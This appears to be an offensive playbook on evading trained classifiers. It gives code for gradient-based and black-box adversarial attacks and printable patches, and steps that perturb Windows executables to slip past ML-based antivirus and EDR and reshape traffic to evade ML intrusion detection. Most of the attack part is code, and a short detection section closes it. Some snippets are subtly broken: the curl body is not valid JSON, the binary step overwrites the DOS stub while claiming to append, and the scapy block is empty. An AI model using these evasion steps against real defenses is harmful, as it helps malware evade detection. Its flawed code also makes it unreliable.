adversarial-ml-evasion

# Adversarial ML Evasion Adversarial examples are inputs modified with small, deliberate perturbations that reliably cause a trained classifier to produce incorrect predictions. The perturbation is typically imperceptible to humans or functionally irrelevant, while the model's decision boundary is crossed. This is distinct from LLM jailbreaks: the target is a trained discriminative model (CNN, gradient-boosted tree, SVM, LSTM) served via an API or embedded in a product. > **Authorized use only.** All testing must be conducted against systems you own or have > explicit written permission to assess. Generating adversarial inputs against production > ML APIs without authorization may violate the CFAA and equivalent statutes. --- ## ATT&CK Mapping | Technique | Use | |---|---| | T1562.001 — Impair Defenses: Disable or Modify Tools | Evade ML-based AV/EDR/IDS | | T1036 — Masquerading | Make malicious content look benign to a classifier | | T1027 — Obfuscated Files or Information | Perturb a file/image to fool static ML analysis | --- ## 1. Reconnaissance — understand the target model Before crafting perturbations, determine the attack surface: ```bash # 1a. Identify the ML stack from job postings, open-source repos, error messages # Common deployment stacks: TensorFlow Serving, TorchServe, ONNX Runtime, SageMaker, AzureML # 1b. Probe input shape and output format curl -s -X POST "$TARGET/predict" \ -H "Content-Type: application/json" \ -d '{"data": [[0.0]*784]}' | jq . # Note: number of output classes, confidence scores vs hard labels # Confidence scores = white-box-equivalent gradient signal via finite differences # 1c. Check if the API returns confidence values (score-based black-box) or label only (hard-label) # Score-based: enables gradient estimation, ZOO, NES attacks # Label-only: requires hard-label attacks (HopSkipJump, QEBA) ``` --- ## 2. White-box evasion (full model access) Use when you have the model weights (pentest scope, internal system, open-source model). ### 2a. FGSM — Fast Gradient Sign Method (single step) ```python import torch, torchvision.transforms as T from PIL import Image import requests, json def fgsm(model, x, y_true, epsilon=0.03): """Single-step gradient attack. Fast, low distortion for strong models.""" x.requires_grad_(True) loss = torch.nn.CrossEntropyLoss()(model(x), y_true) loss.backward() return (x + epsilon * x.grad.sign()).clamp(0, 1).detach() ``` ### 2b. PGD — Projected Gradient Descent (iterative, stronger) ```python def pgd(model, x, y_true, epsilon=0.03, alpha=0.007, steps=40): """Madry's PGD — iterative FGSM with projection back into epsilon-ball.""" x_adv = x.clone().detach().requires_grad_(True) for _ in range(steps): loss = torch.nn.CrossEntropyLoss()(model(x_adv), y_true) loss.backward() with torch.no_grad(): x_adv = x_adv + alpha * x_adv.grad.sign() delta = torch.clamp(x_adv - x, -epsilon, epsilon) x_adv = torch.clamp(x + delta, 0, 1).detach().requires_grad_(True) return x_adv ``` ### 2c. C&W — Carlini & Wagner (optimization-based, minimal distortion) ```bash pip install adversarial-robustness-toolbox # IBM ART python - <<'EOF' from art.attacks.evasion import CarliniL2Method from art.estimators.classification import PyTorchClassifier # wrap your model in PyTorchClassifier, then: attack = CarliniL2Method(classifier=clf, confidence=0.5, max_iter=100) x_adv = attack.generate(x=x_test[:10]) EOF ``` --- ## 3. Black-box evasion (API access only) ### 3a. Score-based: NES / ZOO (gradient-free estimation) When confidence scores are returned, estimate gradient via finite differences: ```python import numpy as np def nes_gradient_estimate(query_fn, x, sigma=0.01, n=50): """Natural Evolution Strategy gradient estimate from prediction scores.""" grads = np.zeros_like(x) for _ in range(n): noise = np.random.randn(*x.shape) pos = query_fn(x + sigma * noise) neg = query_fn(x - sigma * noise) grads += (pos - neg) * noise return grads / (2 * n * sigma) # query_fn: callable that sends x to the API and returns target-class score # Use grads to step: x_adv = x - alpha * np.sign(grads) ``` ### 3b. Transfer attack (surrogate model) The reference approach from 13o-bbr-bbq/machine_learning_security's CNN_test: ```bash # 1. Collect input samples via normal API usage # 2. Train a local surrogate on (input, label) pairs # 3. Run white-box attack (FGSM/PGD) against surrogate # 4. Transfer adversarial examples to the target # Transferability is high when surrogate and target share architecture family pip install cleverhans python - <<'EOF' import tensorflow as tf from cleverhans.tf2.attacks.fast_gradient_method import fast_gradient_method # Build surrogate_model from collected (x, y) pairs x_adv = fast_gradient_method(surrogate_model, x_test, eps=0.03, norm=np.inf) # Submit x_adv to the black-box API EOF ``` ### 3c. Hard-label: HopSkipJump When only the predicted label is returned (no scores): ```bash python - <<'EOF' from art.attacks.evasion import HopSkipJump from art.estimators.classification import BlackBoxClassifier def predict_fn(x): # Call your API here, return one-hot array ... clf = BlackBoxClassifier(predict_fn, input_shape=(32,32,3), nb_classes=10) attack = HopSkipJump(classifier=clf, max_iter=50, max_eval=1000) x_adv = attack.generate(x=x_test[:5]) EOF ``` --- ## 4. Physical-world / domain-specific attacks ### 4a. Adversarial patches (object detection, face recognition) Craft a printable patch that fools YOLO/RetinaNet regardless of placement: ```bash pip install adversarial-robustness-toolbox python - <<'EOF' from art.attacks.evasion import AdversarialPatch attack = AdversarialPatch(classifier=clf, rotation_max=22.5, scale_min=0.1, scale_max=1.0) patch, mask = attack.generate(x=x_train[:100]) # Print patch, affix to subject — fools real-time camera-based classifiers EOF ``` ### 4b. Malware binary perturbation (AV/EDR evasion) For ML-based static AV/EDR (MalConv, EMBER model): ```bash # Append bytes to DOS overlay — does not affect execution, changes feature vector python - <<'EOF' import lief, numpy as np binary = lief.parse("sample.exe") # Append random payload to avoid changing import table / section headers binary.dos_stub = bytes(np.random.randint(0, 256, 64)) builder = lief.PE.Builder(binary) builder.build() builder.write("sample_adv.exe") # Iterate: score the modified binary against the target ML model # Stop when target-class score drops below threshold EOF ``` ### 4c. Network traffic / IDS evasion For ML-based IDS (random-forest or neural-net on flow features): ```bash # Identify mutable features: packet timing, padding, flow ordering # Immutable: payload content that triggers the attack itself # Strategy: inflate packet-count, adjust inter-arrival times to move # feature vector away from known-malicious region scapy - <<'EOF' from scapy.all import * # Add benign-looking padding packets to inflate flow duration # Shift timing to match benign profile learned from surrogate EOF ``` --- ## 5. Tooling reference | Tool | Attack type | Notes | |---|---|---| | IBM ART (`adversarial-robustness-toolbox`) | White+black-box, patches, physical | Best all-round; PyTorch/TF/Sklearn | | CleverHans | White-box FGSM/PGD | TF2 native | | Foolbox | White+black-box | NumPy-first, easy API | | AutoZOOM | Black-box score-based | Autoencoder-based gradient compression | | deep-pwning | Legacy Metasploit-style | Largely unmaintained | ```bash pip install adversarial-robustness-toolbox foolbox cleverhans ``` --- ## 6. Validation checklist - [ ] Clean input correctly classified before perturbation (baseline confirmed) - [ ] Adversarial input misclassified at the same model endpoint - [ ] Perturbation is within declared epsilon-ball (L-inf or L2 norm verified) - [ ] For transfer: adversarial success rate on black-box > 30% (non-trivial transfer) - [ ] For physical: photograph and re-score — confirm printed patch works under camera --- ## 7. Detection signals (defender perspective) - Input pixel distribution deviates from natural image statistics (high-frequency noise) - Feature-squeeze defence: score changes drastically when input is median-filtered - Input preprocessing (JPEG re-encode, resize+crop) breaks gradient-based perturbations - Ensemble disagreement: 3 models with different architectures disagree on the adversarial input - Activation distribution of adversarial inputs differs from clean examples (mahalanobis-distance detector)